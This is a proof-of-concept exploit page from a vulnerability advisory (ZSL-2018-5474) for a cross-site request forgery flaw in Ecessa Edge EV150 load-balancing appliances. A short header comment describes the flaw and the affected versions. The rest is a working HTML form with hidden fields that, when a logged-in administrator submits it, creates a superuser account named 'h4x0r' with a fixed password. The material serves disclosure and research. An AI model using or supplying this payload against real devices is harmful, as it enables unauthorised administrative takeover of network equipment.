<!-- Ecessa Edge EV150 10.7.4 CSRF Add Superuser Exploit Vendor: Ecessa Corporation Product web page: https://www.ecessa.com Affected version: 10.7.4 10.6.9 10.7.4 10.6.5.2 10.5.4 10.2.24 9.2.24 Summary: Internet Failover and Load Balancing for Small Businesses, Stores and Branch Offices. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Tested on: lighttpd/1.4.35 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2018-5474 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5474.php 21.05.2018 --> <html> <body> <form action="https://127.0.0.1/cgi-bin/pl_web.cgi/util_configlogin_act" method="POST"> <input type="hidden" name="savecrtcfg" value="checked" /> <input type="hidden" name="user_username1" value="root" /> <input type="hidden" name="user_enabled1" value="on" /> <input type="hidden" name="user_passwd1" value="" /> <input type="hidden" name="user_passwd_verify1" value="" /> <input type="hidden" name="user_delete1" value="" /> <input type="hidden" name="user_username2" value="admin" /> <input type="hidden" name="user_passwd2" value="" /> <input type="hidden" name="user_passwd_verify2" value="" /> <input type="hidden" name="user_delete2" value="" /> <input type="hidden" name="user_username3" value="user" /> <input type="hidden" name="user_enabled3" value="on" /> <input type="hidden" name="user_passwd3" value="" /> <input type="hidden" name="user_passwd_verify3" value="" /> <input type="hidden" name="user_delete3" value="" /> <input type="hidden" name="user_username4" value="h4x0r" /> <input type="hidden" name="user_enabled4" value="on" /> <input type="hidden" name="user_superuser4" value="on" /> <input type="hidden" name="user_passwd4" value="123123" /> <input type="hidden" name="user_passwd_verify4" value="123123" /> <input type="hidden" name="users_num" value="4" /> <input type="hidden" name="page" value="util_configlogin" /> <input type="hidden" name="val_requested_page" value="user_accounts" /> <input type="hidden" name="savecrtcfg" value="checked" /> <input type="hidden" name="page_uuid" value="3e2774f9-1cd3-4d36-a91e-eb9e42b5ba0d" /> <input type="hidden" name="form_has_changed" value="1" /> <input type="submit" value="Supersize!" /> </form> </body> </html>